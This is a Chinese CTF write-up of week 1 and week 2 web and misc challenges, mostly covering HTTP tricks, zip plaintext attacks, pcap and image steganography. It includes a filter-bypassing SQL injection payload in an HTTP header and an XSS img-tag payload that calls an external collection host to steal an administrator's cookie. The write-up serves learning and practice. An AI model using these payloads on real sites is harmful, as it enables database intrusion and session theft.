week1
web
Hitchhiking_in_the_Galaxy
网页代码中提示要把得到的信息放在HEAD tag
中,所以猜测应该是修改http头部。
先直接访问HitchhikerGuide.php
,405错误,应该是请求方法不对,把GET改为POST,成功得到提示:
1 | 只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~ |
得到flag。
watermelon
没想到思路 ,在project.js里翻了半天,最终找到了base64编码的flag,应该不是预期解。
1 | gameOverShowText: function (e, t) { |
智商检测鸡
在fuckmath.js中可以看到代码,直接尝试访问/api/getFlag
来getFlag后得到一个假flag,还被出题师傅嘲讽了一番。。。
我猜这道题的解法应该是在console里修改solving的值为100,可是我看不怎么懂js,更不会用console,瞎试了半天也没试出来。
宝藏走私者
开始一点都不会,网址还老崩,后来下线再上线后给了hint,原来是http走私啊。一波学习以后成功解出:
misc
Base全家福
签到题,先base64再base32再base16解码得到flag。
不起眼压缩包的养成的方法
学到的知识:
加密压缩包的一般处理方法:爆破、伪加密、明文攻击、CRC32碰撞
reference:https://www.cnblogs.com/leixiao-/p/9824557.html
reference:https://blog.csdn.net/qq_26187985/article/details/83654197
得到一张图片,保存下来后用二进制编辑器打开,结尾有.zip
格式的文件和一句提示:
1 | Password is picture ID (Up to 8 digits) |
百度查图片id得到的消息都是p站图片id,结合猜测这是p站的图,找到原图即可。百度识图得到原图id得到密码,原文件修改成.zip
后解压得到新的.zip
和提示:
1 | Sometimes we don't need to care about password. |
刚开始我根据提示猜测是伪加密,后来发现行不通。
之后查各种压缩包的处理方法,知道了明文攻击,才明白了提示的意思。
将我们已知的txt文件压缩,只是用storage算法压缩,然后用ARCHPR进行明文攻击。
在这里卡了很久,主要是由于很多压缩软件的压缩方法都不对,ARCHPR一直报错,卡了很久,最后用winRAR成功了。
打开之后还有一个加密压缩包,用二进制打开,看到很有规律的重复,猜测是某种编码。开始觉得是16进制,后来发现不大对,试了一堆之后发现是unicode,还需要自己补零。下面这里打错了,重复了一次 _i5
。
Galaxy
学到的知识:
.pcapng
格式文件的作用与处理方法;图片的一般隐写思路。reference:https://www.cnblogs.com/mq0036/p/11187138.html
reference:https://blog.csdn.net/attitudeisaltitude/article/details/81698719
下载文件,发现是一个.pcapng
格式的文件。使用wireshark工具打开,发现大量192.168.43.146与192.168.43.199的握手,在其中抓到了galaxy.png
,将其导出后,发现图片既不是压缩包,也没有藏图像,猜测是修改高度来隐写的。将高由3296修改成3496,flag出现。
Word RE:MASTER
文件是两个docx文档,一个上锁了,另一个打开之后没什么信息,后缀改为.zip
后找到一个password.xml
的文件,看格式可以知道是brianfuck密码,解密后得到密码:
1 | DOYOUKNOWHIDDEN? |
打开第二个docx文档,由于密码的提示,我们在word选项里显示隐藏的文字,出现了几排空格。改成.zip
里面有一堆我也不知道有啥用的文件。用十六进制编辑器打开看,发现结尾有brianfuck密码,应该就是对应那段空格。
但是解密我解不出来,显示错误,而且如果是这样,第一处解出来的密码有什么用呢?卡在这里了。
新思路:之前这个应该就是文档的密码而已,之前所谓的几排空格将其复制后粘贴到sublime里,看到了近似摩斯密码的文本,可是又不完全符合摩斯密码:
啊我裂开,看了官方wp后才知道是snow隐写,题目图片给的提示被我忽略了,主要还是见得少,多长长见识吧。
week2
web
200ok!
该题考查sql注入。
注入点是在header的status字段,这一点我没有验证出来;屏蔽了一些词和空格,我们用大小写绕过,空格用/**/
来代替。
payload:
1 | Status: -1' uniOn/**/seLect/**/ffffff14gggggg/**/fRom/**/f1111111144444444444g;# |
得到flag。
Post to zuckonit
这道题基本可以看出是XSS的考查,POST恶意代码,将其提交后得到管理员的cookie再用token访问/flag
即可。
经过尝试,script
会被转换成div
,可以用img标签,部分关键词双写绕过,如下:
1 | <Img sRC=hthttptps://xss.pt/vhFCp.jpg> |
可是我的xss平台总是拿不到cookie,换了很多个平台也没用,如下图:
到现在也不知道为什么。。。
总结
积累了不少的做题经验,看到题不会再到处瞎试了,也学了很多新知识,比如HTTP走私什么的。